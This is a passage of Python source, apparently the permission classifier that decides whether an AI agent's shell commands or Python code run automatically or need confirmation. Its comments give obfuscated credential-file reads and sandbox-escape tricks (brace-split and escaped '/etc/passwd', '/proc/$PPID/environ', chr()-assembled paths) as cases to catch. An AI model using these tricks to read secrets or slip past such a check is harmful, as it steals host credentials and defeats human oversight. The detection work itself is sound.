|
|
a, b = ord(lo), ord(hi)
|
|
rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
|
|
return [chr(x) for x in rng][:64]
|
|
except (ValueError, TypeError):
|
|
pass
|
|
return []
|
|
|
|
|
|
def _brace_options(text: str) -> "list[str]":
|
|
"""Options a single brace group expands to (comma list or .. sequence)."""
|
|
m = _BRACE_COMMA_RE.match(text)
|
|
if m:
|
|
return m.group(1).split(",")
|
|
m = _BRACE_SEQ_RE.match(text)
|
|
if m:
|
|
return _brace_range(m.group(1), m.group(2), m.group(3)) or [text]
|
|
return [text]
|
|
|
|
|
|
def _expand_braces(command: str) -> str:
|
|
"""Best-effort bash brace expansion (cat /etc/pass{w,}d -> cat /etc/passwd
|
|
/etc/passd, cat /etc/pass{w..w}d -> cat /etc/passwd) so a sensitive path
|
|
split across a brace group is scanned. Bounded. Fail-open: only detects."""
|
|
results = [command]
|
|
for _ in range(6):
|
|
if not any(_BRACE_ANY_RE.search(s) for s in results):
|
|
break
|
|
expanded = []
|
|
for s in results:
|
|
m = _BRACE_ANY_RE.search(s)
|
|
if not m:
|
|
expanded.append(s)
|
|
continue
|
|
for opt in _brace_options(m.group(0)):
|
|
expanded.append(s[: m.start()] + opt + s[m.end() :])
|
|
results = expanded[:64]
|
|
return " ".join(results)
|
|
|
|
|
|
def _mode_arg_writes(mode_node) -> bool:
|
|
"""True if an AST node used as a file mode requests write/append."""
|
|
if mode_node is None:
|
|
return False # default "r"
|
|
if isinstance(mode_node, ast.Constant) and isinstance(mode_node.value, str):
|
|
return bool(_PY_WRITE_MODE_RE.search(mode_node.value))
|
|
return True # dynamic mode: cannot prove read-only
|
|
|
|
|
|
def _has_kwarg_splat(node) -> bool:
|
|
"""True if the call has a ``**kwargs`` splat, which can hide a write mode."""
|
|
return any(kw.arg is None for kw in node.keywords or [])
|
|
|
|
|
|
def _builtin_open_writes(node) -> bool:
|
|
"""Write check for builtin ``open(file, mode)`` (mode is the 2nd arg)."""
|
|
if _has_kwarg_splat(node):
|
|
return True # **{"mode": "w"} could request a write
|
|
if any(isinstance(a, ast.Starred) for a in node.args):
|
|
return True # *("f", "w") could splat a write mode into the positionals
|
|
mode = node.args[1] if len(node.args) >= 2 else None
|
|
for kw in node.keywords or []:
|
|
if kw.arg == "mode":
|
|
mode = kw.value
|
|
return _mode_arg_writes(mode)
|
|
|
|
|
|
def _attr_open_writes(node) -> bool:
|
|
"""Write check for ``x.open(...)`` (e.g. ``Path.open(mode)`` where mode is
|
|
the 1st arg). Only a mode-looking string is read as the mode, so a
|
|
``ZipFile.open("name.txt")`` read is not mistaken for a write."""
|
|
if _has_kwarg_splat(node):
|
|
return True # **{"mode": "w"} could request a write
|
|
for kw in node.keywords or []:
|
|
if kw.arg == "mode":
|
|
return _mode_arg_writes(kw.value)
|
|
if node.args:
|
|
first = node.args[0]
|
|
if isinstance(first, ast.Constant) and isinstance(first.value, str):
|
|
if _PY_MODE_LITERAL_RE.match(first.value):
|
|
return bool(_PY_WRITE_MODE_RE.search(first.value))
|
|
# A 2nd positional arg is either a mode (x.open(name, "w")) or
|
|
# os.open(path, O_CREAT) flags via an alias: honor a string mode,
|
|
# otherwise cannot prove read-only, so ask.
|
|
if len(node.args) >= 2:
|
|
second = node.args[1]
|
|
if isinstance(second, ast.Constant) and isinstance(second.value, str):
|
|
return _mode_arg_writes(second)
|
|
return True
|
|
return False
|
|
return True # dynamic first arg: cannot prove read-only
|
|
return False # no args: read
|
|
|
|
|
|
_PATH_CTORS = (
|
|
"Path",
|
|
"PurePath",
|
|
"PurePosixPath",
|
|
"PureWindowsPath",
|
|
"PosixPath",
|
|
"WindowsPath",
|
|
)
|
|
# Deterministic path pass-through/normalizer calls that return the same location
|
|
# (os.path.abspath('/etc') -> /etc, Path('/etc').resolve() -> /etc), so folding
|
|
# through them keeps a sensitive root visible to the scan.
|
|
_PATH_PASSTHROUGH_ATTRS = frozenset(
|
|
{"abspath", "normpath", "realpath", "expanduser", "expandvars", "resolve", "absolute"}
|
|
)
|
|
# pathlib methods that rewrite only the final path component, so the sensitive
|
|
# target is never spelled out as a literal (Path('/etc/x').with_name('passwd')
|
|
# -> /etc/passwd). Folded below so the rewritten path is still scanned.
|
|
_PATH_NAME_REWRITES = frozenset({"with_name", "with_stem", "with_suffix"})
|
|
# Mapping-style %-format conversion specifier: %(name)s / %(n)5.2f. Used to fold
|
|
# '/etc/%(f)s' % {'f': 'passwd'} to /etc/passwd (a dynamic value becomes NUL).
|
|
_PERCENT_NAMED_RE = re.compile(r"%\((\w+)\)[-#0 +]*\d*(?:\.\d+)?[a-zA-Z]")
|
|
|
|
|
|
def _folded_path(
|
|
node,
|
|
literals = None,
|
|
ctors = None,
|
|
join_names = None,
|
|
) -> "str | None":
|
|
"""Best-effort value of a path built from string literals, so a sensitive
|
|
path assembled from pieces (os.path.join('/etc', 'passwd'), '/etc'+'/passwd',
|
|
Path('/etc') / 'passwd', f'/proc/{pid}/environ', f'/etc/{name}') is still
|
|
visible to the scan. A dynamic piece becomes NUL, a non-slash placeholder,
|
|
so a dynamic segment under a sensitive dir (/etc/NUL) is still detectable.
|
|
``literals`` maps names bound to string literals (base = '/etc'); ``ctors``
|
|
is the set of pathlib constructor names (incl. import aliases); ``join_names``
|
|
are bare names bound to os.path.join (from os.path import join)."""
|
|
literals = literals or {}
|
|
ctors = ctors or _PATH_CTORS
|
|
join_names = join_names or frozenset()
|
|
|
|
def fold(node) -> "str | None":
|
|
if isinstance(node, ast.Constant) and isinstance(node.value, (str, bytes)):
|
|
# bytes paths are valid too (open(b'/etc/passwd')); decode for scan.
|
|
return (
|
|
node.value.decode("latin-1", "ignore")
|
|
if isinstance(node.value, bytes)
|
|
else node.value
|
|
)
|
|
if isinstance(node, ast.Name):
|
|
return literals.get(node.id)
|
|
if isinstance(node, ast.Attribute) and node.attr in ("parent", "parents"):
|
|
# A pathlib .parent/.parents walks above the current dir, escaping
|
|
# the per-session workdir without a literal '..'; mark it so a read
|
|
# folds to unsafe (\x02 is a non-slash escape sentinel).
|
|
return "\x02"
|
|
if (
|
|
isinstance(node, ast.Subscript)
|
|
and isinstance(node.value, ast.Attribute)
|
|
and (node.value.attr == "parents")
|
|
):
|
|
return "\x02" # Path(...).parents[1]
|
|
if isinstance(node, ast.JoinedStr):
|
|
return "".join(
|
|
v.value
|
|
if isinstance(v, ast.Constant) and isinstance(v.value, str)
|
|
else (fold(v.value) or "\x00")
|
|
if isinstance(v, ast.FormattedValue)
|
|
else "\x00"
|
|
for v in node.values
|
|
)
|
|
if isinstance(node, ast.BinOp) and isinstance(node.op, (ast.Add, ast.Div)):
|
|
left = fold(node.left)
|
|
right = fold(node.right)
|
|
left = "\x00" if left is None else left
|
|
right = "\x00" if right is None else right
|
|
# Path('/etc') / 'passwd' joins with a separator; '+' concatenates.
|
|
return left + "/" + right if isinstance(node.op, ast.Div) else left + right
|
|
if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Mod):
|
|
# Old-style formatting: '%s/%s' % ('/etc', 'passwd') -> /etc/passwd.
|
|
template = fold(node.left)
|
|
if template is not None and "%" in template:
|
|
rhs = node.right
|
|
if "%(" in template:
|
|
# Mapping-style: '/etc/%(f)s' % {'f': 'passwd'} -> /etc/passwd.
|
|
# A literal dict resolves each name; an unresolved value or a
|
|
# non-literal mapping leaves the NUL marker so /etc/<dynamic>
|
|
# still fails closed under a sensitive dir.
|
|
mapping: "dict[str, str]" = {}
|
|
if isinstance(rhs, ast.Dict):
|
|
for k, v in zip(rhs.keys, rhs.values):
|
|
if isinstance(k, ast.Constant) and isinstance(k.value, str):
|
|
fv = fold(v)
|
|
mapping[k.value] = fv if fv is not None else "\x00"
|
|
return _PERCENT_NAMED_RE.sub(
|
|
lambda m: mapping.get(m.group(1), "\x00"), template
|
|
)
|
|
if isinstance(rhs, ast.Tuple):
|
|
args = tuple((fold(e) or "\x00") for e in rhs.elts)
|
|
else:
|
|
single = fold(rhs)
|
|
args = (single if single is not None else "\x00",)
|
|
try:
|
|
return template % args
|
|
except (TypeError, ValueError, KeyError):
|
|
return None
|
|
return None
|
|
if isinstance(node, ast.Call):
|
|
func = node.func
|
|
if isinstance(func, ast.Attribute) and func.attr == "joinpath":
|
|
# Path('/etc').joinpath('passwd') -> receiver and args are pieces.
|
|
base = fold(func.value)
|
|
parts = [base if base is not None else "\x00"]
|
|
parts += [(fold(a) or "\x00") for a in node.args]
|
|
return "/".join(parts)
|
|
if isinstance(func, ast.Attribute) and func.attr in ("glob", "rglob", "iglob"):
|
|
# Path('/etc').glob('passw?') -> the receiver dir joined with the
|
|
# glob pattern; _glob_token_sensitive then tests /etc/passw?.
|
|
base = fold(func.value)
|
|
pattern = fold(node.args[0]) if node.args else "\x00"
|
|
return (base if base is not None else "\x00") + "/" + (pattern or "\x00")
|
|
if isinstance(func, ast.Attribute) and func.attr in _PATH_NAME_REWRITES:
|
|
# Path('/etc/x').with_name('passwd') -> /etc/passwd; with_stem /
|
|
# with_suffix rewrite only the final component. Fold to the
|
|
# rewritten path so a sensitive target that no literal spells out
|
|
# is still caught. An unresolved receiver stays None (untracked,
|
|
# like a bare variable), and a dynamic arg becomes the NUL marker.
|
|
base = fold(func.value)
|
|
if base is None:
|
|
return None
|
|
arg = fold(node.args[0]) if node.args else None
|
|
arg = "\x00" if arg is None else arg
|
|
idx = base.rfind("/")
|
|
head = base[: idx + 1] if idx >= 0 else ""
|
|
name = base[idx + 1 :] if idx >= 0 else base
|
|
dot = name.rfind(".")
|
|
stem = name[:dot] if dot > 0 else name
|
|
suffix = name[dot:] if dot > 0 else ""
|
|
if func.attr == "with_name":
|
|
name = arg
|
|
elif func.attr == "with_stem":
|
|
name = arg + suffix
|
|
else: # with_suffix
|
|
name = stem + arg
|
|
return head + name
|
|
if isinstance(func, ast.Attribute) and func.attr in _PATH_PASSTHROUGH_ATTRS:
|
|
# Deterministic normalizers keep the same path: os.path.abspath(
|
|
# '/etc') -> /etc, Path('/etc').resolve() -> /etc. When called with
|
|
# a path arg fold it, else fold the receiver (Path method form).
|
|
return fold(node.args[0]) if node.args else fold(func.value)
|
|
if isinstance(func, ast.Attribute) and func.attr == "join":
|
|
# str.join has the separator as the receiver and the pieces in
|
|
# one iterable arg ("".join(['/etc', '/passwd']) -> /etc/passwd);
|
|
# tell it apart from os.path.join(*pieces).
|
|
sep = fold(func.value)
|
|
if (
|
|
sep is not None
|
|
and len(node.args) == 1
|
|
and isinstance(node.args[0], (ast.List, ast.Tuple))
|
|
):
|
|
pieces = [(fold(e) or "\x00") for e in node.args[0].elts]
|
|
return sep.join(pieces)
|
|
parts = [(fold(a) or "\x00") for a in node.args]
|
|
return "/".join(parts)
|
|
# A bare os.path.join alias (from os.path import join): join(*pieces).
|
|
if isinstance(func, ast.Name) and func.id in join_names:
|
|
parts = [(fold(a) or "\x00") for a in node.args]
|
|
return "/".join(parts)
|
|
# A bare/qualified/aliased pathlib constructor (Path(...), P(...)).
|
|
if (isinstance(func, ast.Attribute) and func.attr in ctors) or (
|
|
isinstance(func, ast.Name) and func.id in ctors
|
|
):
|
|
parts = [(fold(a) or "\x00") for a in node.args]
|
|
return "/".join(parts)
|
|
# '/etc/{}'.format('passwd') -> /etc/passwd (literal template + args).
|
|
if isinstance(func, ast.Attribute) and func.attr == "format":
|
|
template = fold(func.value)
|
|
if template is not None and "{" in template:
|
|
parts = []
|
|
for a in node.args:
|
|
if isinstance(a, ast.Constant):
|
|
parts.append(str(a.value))
|
|
else:
|
|
folded = fold(a)
|
|
parts.append("\x00" if folded is None else folded)
|
|
try:
|
|
return template.format(*parts)
|
|
except (IndexError, KeyError, ValueError):
|
|
return None
|
|
return None
|
|
|
|
return fold(node)
|
|
|
|
|
|
def _dynamic_name_hits_sensitive(folded) -> bool:
|
|
"""True if a folded path with a dynamic piece (NUL) inside a path segment
|
|
could spell a credential target, e.g. open('/et' + chr(99) + '/passwd')
|
|
folds to '/et\\x00/passwd'. NUL matches any run of non-separator chars so the
|
|
dynamic split of a sensitive name resolves, while an all-dynamic ('\\x00\\x00')
|
|
or segment-spanning ('\\x00/\\x00') path cannot form a single credential name
|
|
and stays safe."""
|
|
if not folded or "\x00" not in folded:
|
|
return False
|
|
pattern = "".join(r"[^/\\]*" if ch == "\x00" else re.escape(ch) for ch in folded)
|
|
try:
|
|
rx = re.compile(pattern + r"\Z")
|
|
except re.error:
|
|
return True # pathological pattern: fail closed
|
|
return any(rx.match(t) for t in _SENSITIVE_GLOB_TARGETS)
|
|
|
|
|
|
def _folded_is_sensitive(folded) -> bool:
|
|
"""A folded path is sensitive if it names a credential file, has a dynamic
|
|
segment (NUL) directly under a sensitive directory (/etc/NUL), walks out of
|
|
the sandbox via a pathlib .parent/.parents escape (\\x02), or is a glob that
|
|
could resolve to a credential path (glob.glob('/e??/passwd'))."""
|
|
if not folded:
|
|
return False
|
|
return (
|
|
"\x02" in folded
|
|
or _references_sensitive_path(folded)
|
|
or ("\x00" in folded and bool(_SENSITIVE_DIR_RE.search(folded)))
|
|
# A dynamic segment (NUL) can be the "/" forming a sensitive root:
|
|
# open(os.sep + "etc/passwd") folds to "\x00etc/passwd", so re-scan with
|
|
# NUL as "/" (a benign "\x00data/file" -> "/data/file" stays safe).
|
|
or ("\x00" in folded and _references_sensitive_path(folded.replace("\x00", "/")))
|
|
# A dynamic piece can also sit INSIDE a sensitive name: open('/et' +
|
|
# chr(99) + '/passwd') folds to "/et\x00/passwd", which none of the above
|
|
# catch. Match the literals around each NUL against a credential target,
|
|
# treating NUL as "any run of non-separator chars" so /et<dyn>/passwd
|
|
# resolves while an all-dynamic ("\x00\x00" from 1 + 1) or segment-spanning
|
|
# ("\x00/\x00" from a + '/' + b) path stays safe.
|
|
or _dynamic_name_hits_sensitive(folded)
|
|
or _glob_token_sensitive(folded)
|
|
)
|
|
|
|
|
|
def _command_references_sensitive(command: str) -> bool:
|
|
"""True if a shell command reads/writes a credential path or escapes the
|
|
sandbox workdir (../), after undoing the shell expansions that would hide it:
|
|
quotes/backslash escapes, brace/parameter/ANSI-C expansion and NAME=value
|
|
prefixes, so `cat /et\\c/passwd`, `p="/proc/$PPID"; cat $p/environ` and
|
|
`cat /e{t,}c/pass?d` are all caught."""
|
|
stripped = _SHELL_QUOTE_RE.sub("", command).replace("\\", "")
|
|
candidates = []
|
|
for c in (command, stripped, _decode_ansi_c(command)):
|
|
c_param = _expand_param_defaults(c)
|
|
candidates.extend((c, c_param, _expand_braces(c_param), _expand_shell_assignments(c_param)))
|
|
return any(_glob_hits_sensitive(c) or _references_sensitive_path(c) for c in candidates)
|
|
|
|
|
|
def _terminal_is_potentially_unsafe(command: str) -> bool:
|
|
"""Classify a terminal command for auto mode (fail closed)."""
|
|
if not command or not command.strip():
|
|
return False
|
|
# Redirections and substitutions can hide writes or nested commands; a
|
|
# quoted ">" false-positives into a prompt, which is the safe direction.
|
|
if ">" in command or "`" in command or "$(" in command or "<(" in command:
|
|
return True
|
|
# Reads that escape the sandbox workdir (../) or hit credential paths are
|
|
# not "safe" reads; ask before running them.
|
|
if _command_references_sensitive(command):
|
|
return True
|
|
# Newlines (and CR) separate commands in a shell but read as plain
|
|
# whitespace to shlex, which would demote "ls\nrm x" to argument position.
|
|
command = command.replace("\r\n", ";").replace("\n", ";").replace("\r", ";")
|
|
try:
|
|
lexer = shlex.shlex(command, posix = True, punctuation_chars = ";&|()")
|
|
lexer.whitespace_split = True
|
|
tokens = list(lexer)
|
|
except ValueError:
|
|
return True
|
|
# A root can also hide behind an assignment (p=/; grep -R TOKEN $p) or a
|
|
# default parameter (grep -R TOKEN ${root:-/home}); re-lex the fully expanded
|
|
# command so the find/fd and recursive-search scans see the resolved token.
|
|
expanded_command = _expand_shell_assignments(_expand_param_defaults(command))
|
|
if expanded_command != command:
|
|
try:
|
|
elexer = shlex.shlex(expanded_command, posix = True, punctuation_chars = ";&|()")
|
|
elexer.whitespace_split = True
|
|
scan_tokens = list(elexer)
|
|
except ValueError:
|
|
return True
|
|
else:
|
|
scan_tokens = tokens
|
|
# find/fd group with (...) which resets command context, so a trailing
|
|
# -delete/-exec could slip past; scan every token when find/fd appears.
|
|
if any(os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") for t in scan_tokens):
|
|
if any(t.split("=", 1)[0] in _AUTO_UNSAFE_FIND_LIKE_FLAGS for t in scan_tokens):
|
|
return True
|
|
# A recursive reader rooted outside the sandbox reads host files (grep -R
|
|
# TOKEN /home, rg TOKEN /, grep -R TOKEN ~root, p=/; grep -R TOKEN $p, and
|
|
# the always-recursive walkers tree /home / du /); ask. Bash expands
|
|
# ~/~user to a home dir after this decision, so a tilde root is a sandbox
|
|
# escape too. A path-qualified command token starts with "/" as well, but
|
|
# that already asks below.
|
|
if any(t.startswith("/") or t.startswith("~") for t in scan_tokens):
|
|
token_bases = [os.path.basename(t.strip(";&|()`{}")).lower() for t in tokens]
|
|
if any(b in _AUTO_RECURSIVE_SEARCH or b in _AUTO_RECURSIVE_LISTERS for b in token_bases):
|
|
return True
|
|
# ls only walks the whole subtree with -R/--recursive (ls -R /home,
|
|
# ls -laR /); a non-recursive ls /home lists one level and stays here.
|
|
if "ls" in token_bases and any(
|
|
t.split("=", 1)[0] in ("-R", "--recursive")
|
|
or (t[:1] == "-" and t[:2] != "--" and "=" not in t and "R" in t[1:])
|
|
for t in tokens
|
|
):
|
|
return True
|
|
expect_command = True
|
|
prefix_pending = False
|
|
current_command = ""
|
|
positional_args = 0
|
|
pending_flag_value = False
|
|
for token in tokens:
|
|
# Runs of punctuation (";;", ";&") lex as one token; any token made
|
|
# purely of separator characters still separates commands.
|
|
if (
|
|
token in _SHELL_SEPARATORS
|
|
or (token in _SHELL_KEYWORDS_AS_SEP and expect_command)
|
|
or not set(token) - set(";&|()")
|
|
):
|
|
expect_command = True
|
|
prefix_pending = False
|
|
current_command = ""
|
|
positional_args = 0
|
|
pending_flag_value = False
|
|
continue
|
|
if token.startswith("-"):
|
|
# A write/exec flag on an otherwise read-only command asks
|
|
# (sort -o, tree -o, xxd -r, find -exec/-delete/...). Match
|
|
# "--output=x", an attached short option "-o/tmp/out", and a short
|
|
# option bundled in a cluster (sort -uo out => -u -o).
|
|
flag_head = token.split("=", 1)[0]
|
|
cluster = token[1:] if token[:2] != "--" and "=" not in token else ""
|
|
# GNU tools accept unambiguous abbreviations of a long option, so
|
|
# `sort --out=` reaches --output and `env --ch=/` reaches --chdir;
|
|
# a "--x" prefix of an unsafe long flag fails closed.
|
|
is_long_abbrev = flag_head.startswith("--") and len(flag_head) > 2
|
|
for uf in _AUTO_UNSAFE_COMMAND_FLAGS.get(current_command, ()):
|
|
if flag_head == uf or (len(uf) == 2 and (token.startswith(uf) or uf[1] in cluster)):
|
|
return True
|
|
if is_long_abbrev and uf.startswith("--") and uf.startswith(flag_head):
|
|
return True
|
|
# A flag that takes a following value (date -d STRING / -r FILE;
|
|
# uniq -f N; xxd -c N) so the value token is not mistaken for a
|
|
# clock-setting positional or an output-file positional.
|
|
pending_flag_value = "=" not in token and (
|
|
(current_command == "date" and flag_head in _DATE_DISPLAY_VALUE_FLAGS)
|
|
or flag_head in _SECOND_POSITIONAL_VALUE_FLAGS.get(current_command, ())
|
|
)
|
|
if not prefix_pending:
|
|
expect_command = False
|
|
continue
|
|
if not expect_command:
|
|
raw_pos = token.strip(";&|()`{}")
|
|
# uniq [INPUT [OUTPUT]] writes its second file positional; count file
|
|
# positionals and ask on the second one. A preceding option's value
|
|
# (uniq -f 2) is consumed via pending_flag_value, so a file literally
|
|
# named with digits (uniq 123 out) is still counted.
|
|
if current_command in _AUTO_SECOND_POSITIONAL_WRITES:
|
|
if pending_flag_value:
|
|
pending_flag_value = False
|
|
elif raw_pos:
|
|
positional_args += 1
|
|
if positional_args >= 2:
|
|
return True
|
|
# hostname NAME sets the hostname; date <timestamp> sets the clock. A
|
|
# positional past a display flag's value therefore mutates state and
|
|
# asks (date's +FORMAT display token stays read-only).
|
|
elif current_command in _AUTO_ARG_SENSITIVE_COMMANDS:
|
|
if pending_flag_value:
|
|
pending_flag_value = False
|
|
elif raw_pos and not (current_command == "date" and raw_pos.startswith("+")):
|
|
return True
|
|
continue
|
|
if _ASSIGNMENT_RE.match(token):
|
|
# Benign NAME=value prefixes are skipped, but ones that change
|
|
# command lookup/loading (PATH, LD_PRELOAD, ...) fail closed.
|
|
if _env_assignment_is_unsafe(token.split("=", 1)[0]):
|
|
return True
|
|
continue
|
|
if prefix_pending and token.lstrip("-").isdigit():
|
|
continue
|
|
raw = token.strip(";&|()`{}")
|
|
# A path-qualified command (./ls, /tmp/cat) is an arbitrary executable,
|
|
# not the trusted system utility its basename matches; ask first.
|
|
if "/" in raw or "\\" in raw:
|
|
return True
|
|
base = os.path.basename(raw).lower()
|
|
stem, ext = os.path.splitext(base)
|
|
if ext in {".exe", ".com", ".bat", ".cmd"}:
|
|
base = stem
|
|
if base in _AUTO_SAFE_WRAPPERS:
|
|
prefix_pending = True
|
|
# Track the wrapper so its own flags (env --chdir) are checked;
|
|
# the real command overwrites this when it is reached.
|
|
current_command = base
|
|
pending_flag_value = False
|
|
continue
|
|
if base not in _AUTO_SAFE_TERMINAL_COMMANDS:
|
|
return True
|
|
current_command = base
|
|
expect_command = False
|
|
prefix_pending = False
|
|
positional_args = 0
|
|
pending_flag_value = False
|
|
return False
|
|
|
|
|
|
def _python_is_potentially_unsafe(code: str) -> bool:
|
|
"""Classify python-tool code for auto mode (fail closed)."""
|
|
if not code or not code.strip():
|
|
return False
|
|
# Anything the sandbox's static analysis already objects to would be
|
|
# refused at execution time; surface it as a confirmation first.
|
|
if _check_code_safety(code) is not None:
|
|
return True
|
|
try:
|
|
tree = ast.parse(code)
|
|
except SyntaxError:
|
|
return False # runs into a normal traceback; nothing to guard
|
|
# Names bound to the builtin open (f = open; from builtins import open as f;
|
|
# f, _ = (open, print)) so an aliased writer call is still checked below.
|
|
# builtins_aliases tracks `import builtins [as b]` for builtins.exec/eval.
|
|
open_aliases = {"open"}
|
|
# Attribute names bound to open (box.f = open), so a later box.f('out', 'w')
|
|
# write is still gated even though the callable is an attribute, not a name.
|
|
attr_open_aliases: "set[str]" = set()
|
|
builtins_aliases = {"builtins", "__builtins__"}
|
|
# Names bound to a dynamic lookup (rm = getattr(os, "remove");
|
|
# f = globals()["open"]) whose calls cannot be proven read-only, so they
|
|
# fail closed.
|
|
dynamic_aliases = set()
|
|
# Names bound to a dynamic-code builtin, including aliased ones
|
|
# (from builtins import eval as e; e = builtins.exec), so a call or
|
|
# reference through the alias fails closed too. compile() builds a code
|
|
# object that FunctionType/exec can then run.
|
|
code_exec_aliases = {"exec", "eval", "__import__", "breakpoint", "compile"}
|
|
# Names bound to a string literal (base = '/etc'), so a sensitive path
|
|
# split through a variable (base + '/passwd') folds and is caught.
|
|
literal_str_vars: "dict[str, str]" = {}
|
|
# Pathlib constructor names incl. import aliases (from pathlib import Path as
|
|
# P), os.path.join names bound directly (from os.path import join as j), and
|
|
# writer functions imported as bare names (from numpy import save).
|
|
path_ctor_aliases = set(_PATH_CTORS)
|
|
pathjoin_aliases: "set[str]" = set()
|
|
writer_aliases: "set[str]" = set()
|
|
# Module names bound to os/posix (import os as o), so o.open(...) is still
|
|
# recognized as the low-level create/write that os.open is.
|
|
os_aliases = {"os", "posix"}
|
|
# Module names bound to a pickle-backed loader (import torch as t), so
|
|
# t.load(...) is still gated as a code-executing deserialize.
|
|
load_module_aliases = set(_AUTO_UNSAFE_PY_LOAD_MODULES)
|
|
# Names bound to the builtin getattr (g = getattr), so a dynamic lookup
|
|
# aliased through it (rm = g(os, "remove"); rm("f")) still fails closed.
|
|
getattr_aliases = {"getattr"}
|
|
# Names bound to functools.partial, so a partial that wraps open/a writer
|
|
# (w = partial(open, mode="w"); w("out.txt")) fails closed when w is called.
|
|
partial_aliases: "set[str]" = set()
|
|
# Archive constructors imported bare (from zipfile import ZipFile), so
|
|
# ZipFile(name, "w") is gated like the zipfile.ZipFile attribute call.
|
|
archive_ctor_aliases: "set[str]" = set()
|
|
# operator.methodcaller("write_text") is dynamic dispatch, like getattr.
|
|
operator_aliases = {"operator"}
|
|
methodcaller_aliases: "set[str]" = set()
|
|
# logging.basicConfig(filename=...) opens a log file for write.
|
|
basicconfig_aliases: "set[str]" = set()
|
|
# fileinput.input(..., inplace=True) rewrites a file in place.
|
|
fileinput_aliases = {"fileinput"}
|
|
# Higher-order invokers (map/filter/starmap/reduce) call their first arg, so
|
|
# one handed a writer (map(open, ...)) writes without a direct open() site.
|
|
# Track aliases (m = map; from itertools import starmap as sm) so an aliased
|
|
# invoker is still checked; the write-callable gate keeps map(len, ...) safe.
|
|
invoker_aliases = set(_HIGHER_ORDER_INVOKERS)
|
|
|
|
def _is_dynamic_namespace(node) -> bool:
|
|
# A namespace mapping whose .get/.pop/.setdefault (or subscript) can return
|
|
# open/eval/a mutator: globals()/locals()/vars(...), any X.__dict__,
|
|
# __builtins__, sys.modules. Looking a name up through one is as dynamic as
|
|
# getattr, so a value fetched from it fails closed.
|
|
if isinstance(node, ast.Attribute):
|
|
if node.attr == "__dict__":
|
|
return True
|
|
return (
|
|
node.attr == "modules"
|
|
and isinstance(node.value, ast.Name)
|
|
and node.value.id == "sys"
|
|
)
|
|
if isinstance(node, ast.Name):
|
|
return node.id in builtins_aliases
|
|
if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
|
|
return node.func.id in ("globals", "locals", "vars")
|
|
return False
|
|
|
|
def _methodcaller_writes(call) -> bool:
|
|
# operator.methodcaller("write_text", ...) / methodcaller(name): unsafe
|
|
# when the method name is a known writer/mutator, or non-constant (cannot
|
|
# be proven read-only).
|
|
if not call.args:
|
|
return False
|
|
first = call.args[0]
|
|
if not (isinstance(first, ast.Constant) and isinstance(first.value, str)):
|
|
return True
|
|
return first.value in _AUTO_UNSAFE_PY_ATTRS or first.value in _AUTO_UNSAFE_PY_WRITE_METHODS
|
|
|
|
def _fileinput_inplace(call) -> bool:
|
|
# fileinput.input(..., inplace=True) opens each file for in-place rewrite.
|
|
if _has_kwarg_splat(call):
|
|
return True
|
|
for kw in call.keywords or []:
|
|
if kw.arg == "inplace":
|
|
v = kw.value
|
|
if isinstance(v, ast.Constant):
|
|
return bool(v.value)
|
|
return True # dynamic inplace flag: cannot prove read-only
|
|
return False
|
|
|
|
def _basicconfig_writes(call) -> bool:
|
|
# logging.basicConfig(filename=...) creates/opens a log file for writing.
|
|
if _has_kwarg_splat(call):
|
|
return True
|
|
return any(kw.arg == "filename" for kw in call.keywords or [])
|
|
|
|
def _wraps_write_callable(arg) -> bool:
|
|
# The callable a partial wraps (partial(open, ...)); True when calling it
|
|
# could create/overwrite a file or resolve a dynamic/mutating function.
|
|
if isinstance(arg, ast.Name):
|
|
return (
|
|
arg.id in open_aliases
|
|
or arg.id in dynamic_aliases
|
|
or arg.id in code_exec_aliases
|
|
or arg.id in getattr_aliases
|
|
or arg.id in writer_aliases
|
|
or arg.id in archive_ctor_aliases
|
|
)
|
|
if isinstance(arg, ast.Attribute):
|
|
return (
|
|
arg.attr == "open"
|
|
or arg.attr in _AUTO_UNSAFE_PY_ATTRS
|
|
or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
|
|
or arg.attr in _ARCHIVE_CTOR_NAMES
|
|
)
|
|
return False
|
|
|
|
def _passed_write_callable(arg) -> bool:
|
|
# A concrete write callable handed as an argument to another call: a
|
|
# name bound to open / a writer / an archive constructor, or an
|
|
# attribute reference to a writer method / mutating os attr / archive
|
|
# ctor / .open. Unlike _wraps_write_callable this omits the fail-closed
|
|
# dynamic / getattr / code-exec poison aliases, which are already gated
|
|
# where they are *called* and would over-trigger when a benign alias is
|
|
# merely passed or printed (print(getattr(o, 'name'))).
|
|
if isinstance(arg, ast.Name):
|
|
return (
|
|
arg.id in open_aliases or arg.id in writer_aliases or arg.id in archive_ctor_aliases
|
|
)
|
|
if isinstance(arg, ast.Attribute):
|
|
return (
|
|
arg.attr == "open"
|
|
or arg.attr in _AUTO_UNSAFE_PY_ATTRS
|
|
or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
|
|
or arg.attr in _ARCHIVE_CTOR_NAMES
|
|
)
|
|
return False
|
|
|
|
# Names bound more than once cannot be folded to a single literal: this scan
|
|
# visits every assignment before any call is checked, so a later benign
|
|
# reassignment (base = '/etc'; open(base + '/passwd'); base = 'data') would
|
|
# otherwise mask the earlier sensitive value and auto-approve. Count every
|
|
# binding target up front and poison multiply-bound names to the escape
|
|
# sentinel so any path folded from them fails closed (asks) instead.
|
|
assign_counts: "dict[str, int]" = {}
|
|
for node in ast.walk(tree):
|
|
binding_targets = []
|
|
if isinstance(node, ast.Assign):
|
|
binding_targets = node.targets
|
|
elif isinstance(node, (ast.AnnAssign, ast.AugAssign)):
|
|
binding_targets = [node.target]
|
|
for target in binding_targets:
|
|
for sub in ast.walk(target):
|
|
if isinstance(sub, ast.Name):
|
|
assign_counts[sub.id] = assign_counts.get(sub.id, 0) + 1
|
|
multi_assigned_names = {name for name, count in assign_counts.items() if count > 1}
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, ast.Import):
|
|
for alias in node.names:
|
|
if alias.name == "builtins":
|
|
builtins_aliases.add(alias.asname or "builtins")
|
|
elif alias.name in ("os", "posix"):
|
|
os_aliases.add(alias.asname or alias.name)
|
|
elif alias.name in _AUTO_UNSAFE_PY_LOAD_MODULES:
|
|
load_module_aliases.add(alias.asname or alias.name)
|
|
elif alias.name == "operator":
|
|
operator_aliases.add(alias.asname or "operator")
|
|
elif alias.name == "fileinput":
|
|
fileinput_aliases.add(alias.asname or "fileinput")
|
|
